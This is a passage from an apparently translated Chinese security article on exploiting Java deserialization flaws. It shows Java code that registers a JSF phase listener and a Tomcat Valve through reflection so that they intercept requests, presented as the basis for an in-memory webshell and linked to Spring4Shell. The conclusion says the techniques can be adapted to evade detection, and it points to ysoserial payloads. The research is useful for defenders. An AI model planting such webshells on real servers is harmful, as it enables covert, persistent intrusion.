return PhaseId.RENDER_RESPONSE;
}
}
一旦使用当前线程上下文加载了运行时定义的类,就可以注册ClassLoader
新的类来拦截请求:Phas
LifecycleFactory lifecycleFactory = (LifecycleFactory) FactoryFinder
.getFactory(FactoryFinder.LIFECYCLE_FACTORY);
Lifecycle applicationLifecycle = lifecycleFactory
.getLifecycle(LifecycleFactory.DEFAULT_LIFECYCLE);
applicationLifecycle.addPhaseListener(new CustomPhase());
最后,可能需要做更多工作才能真正让它拦截任何请求。此外,它可以作为内存 webshell 的基础。
在 SPRING 和 TOMCAT 上使用 VALVES
在 Tomcat 中,还可以注册Valve来代替 Filter。这些 Valve 实际上是用来覆盖使用 JSP(Java Server Pages)呈现的参数,以利用Spring4Shell漏洞。
在纯 Java 中,它们可以按如下方式注册:
WebappClassLoaderBas lbase = ((WebappClassLoaderBase)(
(
(ServletRequestAttributes)RequestContextHolder
.getRequestAttributes()
).getRequest().getServletContext().getClassLoader())
);
Field fResources = getField(lbase.getClass(), "resources");
fResources.setAccessible(true);
StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
.getContext();
ctx.getParent().getPipeline().addValve(new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
// [...]
// Intercept it
// [...]
if(this.getNext() != null) {
this.getNext().invoke(request, response);
}
}
});
结论
本文介绍的技巧可以加以调整,以便在攻击过程中不被发现。仅依靠 EDR 和 WAF 可能会使漏洞利用变得更加困难,但永远无法取代修补易受攻击的应用程序。
这里提到的针对 Translets 和 Transformers 的一些有效负载包含在我们的GitHub fork中或对 ysoserial 存储库的拉取请求中。
但请注意,此处提到的小工具链和易受攻击的依赖项在易受攻击的应用程序上越来越少。因此,这些技巧可能不适用于原样。此外,从 Java 16 开始,未命名的模块将不再提供内部功能,从而终止了依赖它的几个小工具链。尽管如此,我们仍然有信心在未来几年内找到在 Java 7、8 或 11 上运行的应用程序 :)Translets
此外,这里提到的注入内存 Webshell 的相同逻辑也可以被导致 RCE 的其他类型的漏洞利用(例如 SSTI 和脚本引擎)。
最后,我们尝试通过为Hexacon创建一个名为AlmostIsoSerial ( sources.7z,vm.7z ) 的加密/网络挑战来强调这里提到的一些环境限制。您可以在此处找到相关内容。
原创文章,作者:速盾高防cdn,如若转载,请注明出处:https://www.sudun.com/ask/77430.html